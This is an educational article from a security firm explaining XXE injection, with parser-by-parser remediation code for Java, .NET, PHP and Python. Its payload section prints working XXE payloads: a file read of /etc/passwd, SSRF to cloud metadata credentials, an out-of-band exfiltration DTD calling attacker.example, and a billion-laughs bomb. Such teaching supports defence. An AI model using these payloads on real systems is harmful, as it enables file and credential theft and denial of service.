ofensiva
XXE
XML External Entity
XML injection

What Is XXE: XML External Entity Injection Explained

What is XXE (XML External Entity): DTDs and external entities, in-band vs blind XXE, file read, SSRF, RCE, billion laughs and remediation per parser.

SecraJuly 6, 202610 min read

XXE is a web vulnerability in which an attacker abuses an XML parser's ability to process external entities declared in the document's DTD, forcing the server to read local files, make network requests on its behalf, or exhaust its resources. The acronym stands for XML External Entity injection, and it keeps surfacing in applications that accept XML without having explicitly hardened their parser configuration, something far more common than the age of the technique would suggest.

This guide explains what XXE is starting from what XML, DTDs, and external entities are, distinguishes classic in-band XXE from blind or out-of-band XXE, walks through the impact chains (arbitrary file read, SSRF via XXE, remote execution, and billion laughs style denial of service), shows real payloads, and closes with concrete remediation per parser in Java, .NET, PHP, and Python.

XXE in a nutshell

  • XXE abuses external entities in the DTD so the XML parser reaches resources the attacker should not control.
  • In its in-band form the attacker reads the content in the response; in its blind form data is exfiltrated over an out-of-band channel.
  • Impact chains range from reading /etc/passwd to stealing cloud credentials via SSRF, remote execution, and DoS through entity expansion.
  • The correct defense is to disable DTD processing and external entities in the parser, not to filter payloads.
  • Every language has its switch: disallow-doctype-decl in JAXP, XmlResolver = null in .NET, defusedxml in Python.

What XXE is: XML, DTDs, and external entities

XML is a data serialization format still pervasive in SOAP, SAML, RSS feeds, office documents (DOCX, XLSX), SVG images, and countless legacy APIs. An XML document can declare a DTD (Document Type Definition), a grammar describing its structure that, among other things, lets you define entities: reusable shorthands within the document. An internal entity is a simple text alias. An external entity, by contrast, tells the parser to load its content from a resource pointed to by a system identifier, typically a URI.

That is exactly where XXE is born. When an application accepts XML from an untrusted source and its parser has external entity resolution enabled, an attacker can declare their own internal DTD with an entity pointing to file:///etc/passwd, to an internal HTTP endpoint, or to a cloud metadata service. The parser, obediently, resolves the entity and places the resource's content wherever the attacker references it. The application does not execute code: it simply trusts its parser to do what the DTD asks, and the DTD is under the attacker's control.

The root cause is not a bug in the XML language but an insecure default in old parsers. Many modern libraries already disable external entities out of the box, but legacy code, SOAP frameworks, and B2B integrations keep processing XML with permissive settings.

Classic in-band XXE versus blind or out-of-band XXE

In-band XXE is the textbook variant: the external entity is referenced in an element whose value the application returns in its response, so the attacker reads the file or the internal response directly. It is convenient to demonstrate, but increasingly rare in applications that do not reflect the processed XML.

Blind XXE appears when the parser resolves entities but the application does not display the result. Here exploitation mirrors that of a blind SSRF: instead of reading the response, data is exfiltrated over an out-of-band channel. The canonical technique uses an attacker hosted external DTD that defines nested parameter entities to read a local file and concatenate it into a URL toward a server under their control. That DNS or HTTP interaction is observed with an OAST collaborator such as Burp Collaborator, the same tool described in the Burp Suite for web pentesting guide. If the target file contains characters that break the URI, wrappers like the php://filter protocol are used to base64 encode the content before exfiltration.

There is also error based XXE: when the parser returns verbose error messages, the file content is forced to appear inside an exception message, exfiltrating it that way without needing an external channel.

Impact chains: from reading a file to compromising the cloud

Arbitrary file read is the direct impact. With file:///etc/passwd, private keys under /home, configuration files holding credentials, or the application's own source code, an XXE becomes a serious information disclosure with no further effort.

SSRF via XXE raises the severity. Since the parser can resolve entities over http://, the attacker points the external entity at internal services that are not exposed or at the cloud metadata endpoint http://169.254.169.254/. On instances running IMDSv1 this hands out temporary credentials for the IAM role, replicating the chain described in the SSRF article. XXE thus acts as a vehicle to reach the internal surface, with the same egress and IMDSv2 defenses applicable.

Remote execution is less common but real. On systems with the PHP expect extension loaded, an expect://id entity runs commands. Against internal servers such as Redis or memcached reachable from the parser, combining with gopher:// reproduces known RCE vectors. The most cited public case is the XXE that Reginaldo Silva reported to Facebook in 2014, where access to external entities opened the door to a chain toward server side execution.

Denial of service is achieved without any external resource through the billion laughs attack, an entity expansion bomb. Ten levels of entities referencing one another generate billions of expansions that exhaust the parser's memory. Its cousin, the quadratic blowup, achieves the same collapse with a single huge entity repeated.

Real payload examples

Classic in-band file read:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

SSRF via XXE against cloud metadata:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<data>&xxe;</data>

Blind XXE with an external DTD for out-of-band exfiltration. The document sent:

<!DOCTYPE foo [
  <!ENTITY % ext SYSTEM "http://attacker.example/evil.dtd">
  %ext;
]>

And the evil.dtd hosted by the attacker:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example/?x=%file;'>">
%eval;
%exfil;

Billion laughs denial of service:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

A very productive vector in practice is uploading files the server processes as XML without the user noticing: SVG (which is XML), DOCX or XLSX documents (which are ZIP archives with XML inside), and imported feeds. If the backend parses them with a permissive parser, the XXE rides hidden inside an apparently harmless file.

Remediation: disabling DTD and external entities per parser

The only robust defense is to configure the parser so it does not process DTDs or external entities. Filtering strings like <!DOCTYPE is fragile and bypassed with encodings. The right approach is to harden the parser in each technology.

In Java with JAXP, the safest option is to forbid the DOCTYPE declaration entirely:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

In .NET, XmlDocument and XmlTextReader in old Framework versions resolved entities by default. The mitigation is to null out the resolver and prohibit the DTD:

var settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};

In PHP, libxml 2.9 and later already disable external entities by default, so the key recommendation is not to pass the dangerous flags LIBXML_NOENT or LIBXML_DTDLOAD to functions like simplexml_load_string or DOMDocument::load. The old libxml_disable_entity_loader(true) was deprecated in PHP 8.0 precisely because the safe behavior is now the default.

In Python, the standard library xml.etree does not resolve external entities, but lxml can and remains vulnerable to expansion bombs. The official recommendation is to use defusedxml, which wraps the usual parsers and blocks external DTDs, entities, and billion laughs transparently. With raw lxml, you configure a parser with resolve_entities=False and no_network=True.

As complementary layers: prefer safer formats such as JSON when the design allows it, apply restricted network egress to neutralize the derived SSRF as explained in the SSRF guide, and validate incoming XML against a strict schema. Defense in depth against XXE relies on the same trust and surface control ideas as the rest of web security, including the origin policies covered in CORS and web security and the session protections of CSRF.

XXE in the OWASP Top 10

XXE had its own entry in the OWASP Top 10 2017, as category A4:2017 XML External Entities. In the 2021 revision, OWASP merged that category into A05:2021 Security Misconfiguration, recognizing that the root of the problem is a misconfigured parser rather than an isolated vulnerability class. The SANS CWE also catalogs it as CWE-611, Improper Restriction of XML External Entity Reference. This reclassification does not lower its severity: in any audit of an application that processes XML, checking the parser's posture against XXE remains a first order control, as happens for example with the XXE subsection within the SAML analysis.

Frequently asked questions

What is the difference between in-band XXE and blind XXE?

In in-band XXE the application returns the entity value in its response, so the attacker reads the file or internal response directly. In blind XXE the parser resolves the entity but the application does not display the result, so data is exfiltrated over an out-of-band channel, usually a DNS or HTTP interaction toward an attacker server observed with an OAST collaborator.

Is XXE still relevant if my parser is modern?

Yes. Although many libraries disable external entities by default, the risk persists in legacy code, SOAP services, B2B integrations, and any path where permissive flags are passed or an old parser is used. In addition, entity expansion bombs can affect even parsers that already block external entities.

How is XXE detected in a pentest?

You enumerate every endpoint that accepts XML, including those that receive it covertly via SVG, DOCX, or feeds. For the blind case you inject an external entity pointing to a unique OAST domain and watch for any interaction. Tools such as Burp Suite automate much of the detection of in-band and out-of-band XXE.

Does XXE allow remote code execution?

In certain scenarios yes, although it is not the norm. It requires additional conditions such as the expect extension in PHP or internal services reachable through gopher://. The most common and reliable impact is file read and SSRF, which already justify treating it as a critical vulnerability.

Is filtering the DOCTYPE string enough to mitigate XXE?

No. Signature based filters are bypassed with alternative encodings and DTD variants. The correct mitigation is to disable DTD processing and external entities in the parser configuration, which is a structural defense that does not depend on blocklists.

XXE auditing with Secra

At Secra we treat XXE as a standard control in any audit of applications that process XML, whether explicitly in SOAP and SAML APIs or covertly in SVG uploads, office documents, and imported feeds. We verify the parser's posture in every language of the stack, validate the real impact chains (file read, SSRF toward cloud metadata, and denial of service through entity expansion), and deliver concrete configuration level remediation, prioritized by the effective risk to your data. If your platform receives XML from third parties and the hardening of its parsers has never been checked, talk to our team through our web and mobile audit service.

About the author

Secra Solutions team

Ethical hackers with OSCP, OSEP, OSWE, CRTO, CRTL and CARTE certifications, 7+ years of experience in offensive cybersecurity, and authors of CVE-2025-40652 and CVE-2023-3512.

Share article